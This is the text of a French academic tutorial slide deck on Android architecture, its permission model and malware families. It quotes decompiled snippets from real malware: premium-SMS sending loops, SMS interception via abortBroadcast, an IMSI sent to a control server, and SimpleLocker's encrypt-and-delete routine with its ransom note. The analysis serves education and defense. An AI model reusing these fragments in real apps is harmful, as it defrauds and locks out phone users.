Jean-Francois Lalande - 28 Mai 2015

Journées thématiques: Respect de la vie privée et services mobiles sans contact

Tutoriel réalisé en collaboration avec:

• Adrien Abraham
• Radoniaina Andriatsimandefitra
• Sylvain Bale
• Béatrice Bannier

• Nicolas Kiss
• Valérie Viet Triem Tong

Objectifs visés

• comprendre les éléments indispensables de l'architecture Android
• découvrir les principes de Sécurité dans Android
• étudier les familles de malware
• plonger au coeur de certains malware

Le tutoriel abordera les points suivants:

Sommaire

• 1   Objectifs de cette présentation
• 2   Introduction
• 3   Services mobiles
• 4   La sécurité dans Android
• 5   Exemples de malware
• 6   What next ?
• 7   Conclusion
• 8   Bibliographie

Quelques chiffres marquants:

• décembre 2011: 700 000 activations par jour
• juin 2012: 1 million d'activations par jour
• sept. 2012: 1.3 millions d'activations par jour
• juillet 2013: 1.5 millions d'activations par jour

Android est en fait un système de la famille des Linux, pour une fois sans les outils GNU. L'OS s'appuie sur:

• un noyau Linux (et ses drivers)
• un couche d'abstraction pour l'accès aux capteurs (HAL)
• une machine virtuelle: Dalvik Virtual Machine (avant Lollipop)
• un compilateur de bytecode vers le natif Android Runtime (pour Lollipop)
• des applications (navigateur, gestion des contacts, application de téléphonie...)
• des bibliothèques (SSL, SQLite, OpenGL ES, etc...)
• des API d'accès aux services Google

Anatomie d'un déploiement:

Activités: une classe représentant un écran de l'application.

public class Main extends Activity {
  public void onCreate(Bundle savedInstanceState) {
    setContentView(R.layout.acceuil);
  }

Receiver: permet de recevoir des Intent dans la méthode onReceive()

public class SMSReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context arg0, Intent arg1)
  {
    // TODO Auto-generated method stub
  }
}

View: les composants graphiques

Button b = (Button)findViewById(R.id.Button01);
b.setOnClickListener(new OnClickListener() {
  @Override
  public void onClick(View v) {
    Toast.makeText(v.getContext(), "Stop !", Toast.LENGTH_LONG).show();
  }
});
}

Intent: un message, permettant de déléguer une action à une application tierce.

Intent intent = new Intent("andro.jf.nom_du_message");
startActivity(intent);

Services: une tâche de fond, presque persitante, exécutée dans le processus de l'application.

public class MonService extends Service {
  public int onStartCommand(Intent intent, int flags, int startId) {
  // TODO
  return Service.START_NOT_STICKY;
}

Pour démarrer un service:

Intent intent = new Intent("andro.jf.nom_du_message");
startService(intent);

Peut-être externalisé dans un processus séparé.

Thread, Executor, ScheduledExecutorService...: classes permettant de gérer des tâches.

Task t = new Task();
timer.scheduleAtFixedRate(t, 0, 1000);

La vie d'une application est particulière:

• Fragmentation du code par Activity / Service
• Pas de persistance d'un Thread pour chaque application
• Conséquence:
  • Nécessite de programmer des AsyncTask, Executor, IntentService
  • Programmation hautement évènementielle

Par exemple, télécharger un fichier:

private class DownloadTask extends AsyncTask<String, Integer, String>
{
  protected String doInBackground(String... sUrl) {
      try {
      URL url = new URL(sUrl[0]);
      HttpURLConnection connection = (HttpURLConnection) url.openConnection();
      connection.connect();
      ...

Pour le cas d'une application malveillante:

• Complexifie l'analyse statique de codes
• Complexifie le monitoring dynamique de programmes

Android facilite la réalisation de services mobiles:

• Connectivité réseau transparente (wifi, 3g)

HttpClient client = new DefaultHttpClient();
HttpGet httpGet = new HttpGet(url+login);
httpGet.setHeader("authent", login+pass);
HttpResponse response = client.execute(httpGet);

• Téléphonie: appels, SMS

SmsManager manager = SmsManager.getDeault();
manager.sendTextMessage("02484840000", null, "Coucou !", null, null);

• Stockage local: carte SD, secure element (par exemple smart card)
• Connectivité de proximité: bluetooth, NFC
• Réflexes de programmation pour les architectures REST
  • par exemple, client JSON contre un serveur Tomcat
  • mais... finalement assez difficile de mixer cela avec les design pattern d'Android, par exemple les listes ou les Fragments

(extrait de [ADG+14])

import org.simalliance.openmobileapi.Channel;
import org.simalliance.openmobileapi.Reader;
import org.simalliance.openmobileapi.SEService;
import org.simalliance.openmobileapi.Session;

public static Reader[] getReaders(SEService seService) {
  Reader[] readers = seService.getReaders();
  return readers; }

public static void initChannel() throws IOException {
  Reader[] readers = getReaders(seService);
  Reader reader = readers[0];
  Session session = reader.openSession();
  card = session.openLogicalChannel(appletAID); }

public static byte[] transmit(byte[] apdu) throws IOException{
  return card.transmit(apdu); }

// Example:
ArrayList<String> apduList = new ArrayList<String>();
apduList.add(0, "0000070000");
apduList.add(1, "0000080000");
...
SendCard.initChannel();
for (int i = 0; i < apduList.size(); i++){
  cmd = SendCard.transmit(SendCard.stringToBytes(apduList.get(i))); }
SendCard.closeChannel();

Il est possible d'émuler une carte à puce au niveau d'un service Android.

Déclaration de la classe:

<uses-permission android:name="android.permission.NFC" />
<uses-feature android:name="FEATURE_NFC_HOST_CARD_EMULATION"/>
<service android:name=".MyOffHostApduService"
        android:exported="true"
        android:permission="android.permission.BIND_NFC_SERVICE" >
        <intent-filter>
            <action android:name="android.nfc.cardemulation.action.OFF_HOST_APDU_SERVICE" />
        </intent-filter>
        <meta-data
            android:name="android.nfc.cardemulation.off_host_apdu_ervice"
            android:resource="@xml/apduservice" />
 </service>

Filtrage des AID:

<offhost-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
 android:description="@string/servicedesc">
<aid-group android:description="@string/subscription" android:category="other">
    <aid-filter android:name="F0010203040506"/>
    <aid-filter android:name="F0394148148100"/>
</aid-group>
</offhost-apdu-service>

L'architecture d'Android repose sur:

• le noyau linux
• l'isolement de chaque application
• le système de permissions
• l'arrivée du contrôle d'accès mandataire (SELinux)

Isolation des processus Unix, à partir des UIDs:

• UID 0: quelques démons root
• UID 1000: services systèmes
• UID 10XYZ: processus applicatifs

Permissions projetées grâce aux groupes UNIX:

• permission INTERNET: groupe UNIX inet
• permission gérée au niveau applicatif, e.g. PackageManagerService

Dans AndroidManifest.xml:

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

Avec la possibilité de définir des:

• permissions custom
• permissions basées sur les signatures

Certaines permissions sont particulièrement sensibles, d'un point de vue de la sécurité:

Vie privée:

• READ_PHONE_STATE: permet de lire l'IMEI
• READ_CONTACTS: permet de lire les contacts
• READ_SMS: permet de lire les SMS
• CAMERA: permet d'accéder aux caméras
• RECORD_AUDIO: permet d'enregistrer le son
• READ_EXTERNAL_STORAGE (dans Android 4.2): lire sur la carte SD
• READ_HISTORY_BOOKMARKS: permet de lire l'historique et les marque-pages

Fuite d'informations:

• INTERNET: permet d'ouvrir des socket vers internet
• SEND_SMS: permet d'envoyer des SMS
• CALL_PHONE: permet de passer un appel
• READ_CALL_LOG: permet de lire l'historique d'appels
• WRITE_EXTERNAL_STORAGE: écrire sur la carte SD
• NFC: écrire/lire en "sans contacts"

Intégrité:

• BRICK: permet de mettre hors service le téléphone
• WRITE_CONTACTS: permet de modifier les contacts
• WRITE_SMS: permet de modifier les SMS
• MOUNT_FORMAT_FILESYSTEMS: permet de formatter un disque externe

Déni de service:

• WAKE_LOCK: permet de maintenir l'écran allumé
• REBOOT: permet de rebooter
• KILL_BACKGROUND_PROCESSES: permet de tuer des processus

Intrusion:

• INSTALL_PACKAGES: permet d'installer des applications
• INJECT_EVENTS: permet de simuler des entrées utilisateur

La sécurité dans Android cherche à:

• permettre à l'utilisateur de restreindre l'accès aux ressources
• de garantir l'intégrité d'une application, même mise à jour
• protéger le système d'exploitation des vulnérabilités potentielles

Cependant, Android ne cherche pas à:

• permettre à Google d'être un unique tiers de confiance
• détecter une application malveillante (même si des analyses sont faites)

Du coté de l'attaquant, il peut:

• chercher à abuser d'une permission aquise
• chercher à attaquer le système d'exploitation
• chercher à dissimuler son code malveillant des systèmes de détection

Un malware est un programme malveillant qui travaille à l'insu de son utilisateur.

Les buts de ces programmes sont principalement [Faruki15]:

• de s'attaquer aux données de l'utilisateur
• de gagner de l'argent en déclenchant des services payants
• de servir de relai pour une prochaine attaque dans un système d'information
• de gêner le bon fonctionnement de l'appareil
• d'introduire des publicités agressives

Comment expliquer le succès de ces malware ? [QC13]

• les utilisateurs ont de réelles difficultés à définir la bonne politique de sécurité
• le système de publication est totalement décentralisé.

Trojan (+ backdoor)

Caché dans des applications bénignes, ces malware volent des informations (IMEI, login/password) via des SMS ou internet. Il peut avoir des techniques de propagation.

Worm

Code malveillant qui se réplique de téléphone en téléphone.

Botnet

Permet de contrôler un ensemble de téléphones zombis.

Spyware

Surveille l'utilisateur à son insu.

Aggresive Adware

Permet d'afficher des publicités plus intrusives (bureau, notification) en fonction du contexte.

Ransomware

Prend en otage le téléphone ou ses ressources en échange d'un paiement.

Principe général pour créer un malware:

• L'insertion du code malicieux peut-être délicate
• Perte de la signature originelle de l'APK !

Les exemples traités dans la suite:

• Vol de données privées: Gone in 60 seconds
• SMS payants: Magic sms
• SMS payants: LoveTrap
• Publicité aggressive: Mobidash
• Demande de rançon: SimpleLocker

Gone in 60 seconds: upload contacts, messages, historiques et se désinstalle:

Video

L'application SuiConFo (suivi de consommation téléphonique) a été victime d'un repackaging en com.magicsms.own.

Ce malware envoie des SMS surtaxés en fonction du pays où il s'exécute:

public void onCreate(Bundle paramBundle)
{
  super.onCreate(paramBundle);
  Toast.makeText(this, "ERROR: Android version is not compatible", 1).show();
  String str1 = ((TelephonyManager)getSystemService("phone")).getSimCountryIso();
  if (str1.equals("fr"))
  {
    str2 = "81001";
    str3 = "STAR";
  } ...
  while (1)
  {
    SmsManager localSmsManager = SmsManager.getDefault();
    localSmsManager.sendTextMessage(str2, null, str3, null, null);
    ...
}}

• La simple permission "envoie de SMS" peut être mal utilisée
• L'usurpation de l'identité d'une application payante se fait sur le nom de celle-ci (mais pas sur les mises à jour du Play store)

• But: envoyer des SMS surtaxés.
• Bonus: bloque les notifications reçues par SMS.

Permissions nécessaires: INTERNET, ACCESS_NETWORK_STATE, RECEIVE_SMS, SEND_SMS, READ_PHONE_STATE, RECEIVE_BOOT_COMPLETED.

Lorsque l'Intent RECEIVE_BOOT_COMPLETED est recu, un service est démarré:

RecorderTask localRecorderTask = new RecorderTask(this.c);
this.timer.scheduleAtFixedRate(localRecorderTask, 1000L, 1000L);

La classe RecorderTask est chargée d'envoyer les SMS frauduleux:

this.m = StringUtil.split(connmgr.getX_v, '*');
if ((this.m.length != 1) && (connmgr.ifFirstRun == "1"))
{
  this.sentIntent = PendingIntent.getBroadcast(this.context, 0, new Intent(), 0);
  this.smsManager.sendTextMessage(this.m[0].toString().trim(), null, this.m[3],
    this.sentIntent, null);

C'est lorsque l'on lance l'application que l'on récupère les numéros de téléphone:

ConnectWebService(connmgr.collector + "getS3?imsi=" + this.imsi.trim() + "&appid=" + connmgr.getVendorid(), 1);
...
invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

Enfin, le malware déclare un receveur de SMS dans son Manifest pour intercepter les confirmations qui suivent l'envoi d'un SMS surtaxé:

<receiver android:name="SMSSrv">
 <intent-filter android:priority="1000">
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
 </intent-filter>
</receiver>

Dans la classe SMSSrv, on observe, entre autre:

public class SMSSrv extends BroadcastReceiver
{ ...
  public void onReceive(Context paramContext, Intent paramIntent)
  { ...
    abortBroadcast();

Ce dernier appel empêche les autres receveurs de broadcast de recevoir le message.

• le droit de recevoir des SMS peut perturber les autres applications
• la permission internet permet de faire évoluer le malware

• Repackaging du jeu Durak (jeu de cartes)
• Jeu avec publicité: comportement bénin
• Malveillance: publicités aggressives plein écran
• Le comportement malveillant se déclenche après 24h

• Lorsque le téléphone est relancé, l'intent BOOT_COMPLET est reçu
• onReceive(), puis sendAlive() dans DisplayCheckRebootReceiver sont appelés:

public static void sendAlive(final Context context) {

final long long1 = PreferenceManager.getDefaultSharedPreferences(context).
  getLong("mobi.dash.sendAlive.lastSendTime", 0L);
...
final long n2 = System.currentTimeMillis() - long1;
if (n2 >= 0L && n2 < DisplayCheckRebootReceiver.aliveInterval) {
        n = 0;
}
...
if (n != 0) {
  new ServerApi(Ads.getServerManager()).sendAlive(
    context.getApplicationContext(), AdIdUtils.getUserAdId(context));
  PreferenceManager.getDefaultSharedPreferences(context).edit().
    putLong("mobi.dash.sendAlive.lastSendTime", System.currentTimeMillis()).commit();
}
...
((AlarmManager)context.getSystemService("alarm")).setRepeating(2, SystemClock.elapsedRealtime() + DisplayCheckRebootReceiver.aliveInterval, DisplayCheckRebootReceiver.aliveInterval, PendingIntent.getBroadcast(context, DisplayCheckRebootReceiver.sendAliveId, intent, 0));

• ServerApi créé une AsyncTask
• Si on ne dépasse pas aliveInterval (24h), on ne fait rien
• Sinon on lance une publicité (new ServerApi)
• Dans tous les cas, on met une alarme pour revérifier cela toutes les 24h

• BOOT_COMPLETED -> Intent -> service MainService.
• Puis dans MainService.onCreate():

this.wakeLock = ((PowerManager)this.getSystemService("power")).newWakeLock(1, "WakeLock");
this.wakeLock.acquire();
...
ScheduledExecutorService scheduledExecutorService =
  Executors.newSingleThreadScheduledExecutor();
scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$3,
  0, 180, TimeUnit.SECONDS);
scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$4,
  1, 1, TimeUnit.SECONDS);
new Thread((Runnable)new MainService$5).start();

• MainService$3 (180s):
  • TOR_SERVICE intent -> démarre le service TorService
  • Installation, exécution de deux binaires: libprivoxy.so et tor (fuite IMEI)
• MainService$4 (1s):
  • Affiche l'écran du malware
  • Vérifie s'il doit être désactivé via les préférences partagées
• MainService$5: chiffre les fichiers !

for (final String s : this.filesToEncrypt) {
aesCrypt.encrypt(s, String.valueOf(s) + ".enc");
new File(s).delete();
}

(Traduction du Russe)

Attention Your phone is locked!
The device is locked for viewing and distribution
(...)
DLA unlock you need to pay 260 UAH.
1. Locate the nearest terminal refill.
2. It get MoneXy.
3. Enter 380,982,049,193.
4. Add 260 hryvnia, and then pay.

Do not forget to get a receipt!
After receipt of payment your device will be
  unlocked in 24 hours.
In case of no PAYMENT YOU WILL LOSE ALL DATA
  TO ALWAYS HAVE IN YOUR ustroytvo!

• Pas d'utilisation de vulnérabilité.
• Tor permet de dissimuler le serveur de contrôle
• Petite subtilité: la clef de chiffrement est constante !

Bâtir des prototypes de malware...

• Malware opérant des fuites d'informations basé sur des canaux cachés
  • Travail en collaboration avec S. Wendzel [LW13]
  • Principe: canal de communication entre 2 applications Android
    • Une application récupère les données sensibles
    • L'autre application les envoie via internet
    • Utilise la permission GET_TASK pour lister les processus
    • Variante: lire les priorités des processus

• Malware root attaquant la mémoire
  • Travail en cours avec Nassima Kamel, Guillaume Hiet

Projet Kharon du Labex CominLabs:

==> plate-forme d'analyse utilisant le suivi de flux d'information

Equipes de l'IRISA:

• Celtique: analyse statique de bytecode java
• Cidre: signatures comportementales

Trois objectifs sont poursuivis actuellement:

• Caractériser le comportement des malware en utilisant Blare
• Améliorer le déclenchement de malware lors de leur exécution
• Bâtir un dataset documenté de malware

==> Démo

Les techniques utilisées sont diverses:

• Usurpation d'un nom d'application (efficace mais peu discret)
• Assemblage d'une application avec une malveillance

Les permissions sont importantes:

• Abuser d'une permission: détournement de son usage bénin
• Le système actuel n'est pas satisfaisant

L'analyse de malware est un travail long et fastidieux

• Les outils libres n'existent pas
• Les techniques de défense rendent les analyses difficiles

Perspectives: automatiser, quantifier, comprendre les comportements malveillants

8.1   Articles

8.2   Malware

8.3   Thèse

[Rado] Radoniaina Andriatsimandefitra. Caractérisation et détection de malware Android basées sur les flux d'information. Cryptography and Security. Supélec, 2014. https://tel.archives-ouvertes.fr/tel-01095994/

>>>>>>>>> Questions ???